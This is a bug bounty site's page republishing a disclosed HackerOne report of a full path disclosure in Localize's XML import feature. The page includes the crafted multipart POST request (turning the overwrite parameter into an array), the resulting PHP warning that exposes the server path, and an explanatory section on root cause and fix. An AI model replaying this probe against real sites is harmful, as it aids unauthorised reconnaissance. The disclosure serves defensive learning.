Skip to content
Info disclosure Disclosed report Beginner

Full Path Disclosure / Info Disclosure in Importing XML Section!

The import XML form accepted an array for the overwrite parameter, causing a PHP warning that revealed the full server path. An attacker could learn the internal file system layout, which may aid further attacks.

faisalahmed Follow

Originally disclosed on HackerOne

  • Fixed in under an hour
  • Disclosed after under an hour

Hello, I found another information disclosure vulnerability/Full Path Disclosure on your application. now its on Import XML Section

Proof of Concept

POST : http://www.localize.io/import/ [project ID] POST CONTENT: -----------------------------97823247315770\r\n Content-Disposition: form-data; name="CSRFToken"\r\n \r\n MTcwMTAzMDk2MDUzNTFjN2I1NGE5MWYxLjkzMjk2OTM0\r\n -----------------------------97823247315770\r\n Content-Disposition: form-data; name="import[overwrite][]"\r\n \r\n 0\r\n -----------------------------97823247315770\r\n Content-Disposition: form-data; name="import[languageID]"\r\n \r\n 0\r\n -----------------------------97823247315770\r\n Content-Disposition: form-data; name="import[groupID]"\r\n \r\n 0\r\n -----------------------------97823247315770\r\n Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n \r\n 1572864\r\n -----------------------------97823247315770\r\n Content-Disposition: form-data; name="importFileXML"; filename=""\r\n Content-Type: application/octet-stream\r\n \r\n \r\n -----------------------------97823247315770--\r\n

I just Added "[]" after import[overwrite] and Replied.

The information from page:

Warning: trim() expects parameter 1 to be string, array given in /var/www/vhosts/lvps178-77-99-228.dedicated.hosteurope.de/httpdocs_localize/index.php on line 410

I Also Added a Screenshot of that FPD as attachment.. Hope You'll fix this one also.. Thanks

Attachments

localize4.png
localize4.png From the original on HackerOne

The original report as published on HackerOne, by faisalahmed. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application did not validate that the 'import[overwrite]' parameter was a scalar value before passing it to trim(), so an array caused a warning that disclosed the absolute path.

Impact

The error message disclosed the absolute server path, which could help an attacker understand the hosting environment and plan further attacks.

What the attacker needed

Access to the import XML feature; ability to send a crafted POST request

The fix

The application should validate the overwrite parameter and avoid displaying error details.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a web form expects a single value but receives a list (an array), the server-side code can crash and print an error message. That message included the full folder path on the server, which is information the site owner would rather keep private. Knowing such paths can help an attacker plan other attacks.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by faisalahmed

View all

16 more disclosed reports, best first.

More from Localize

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.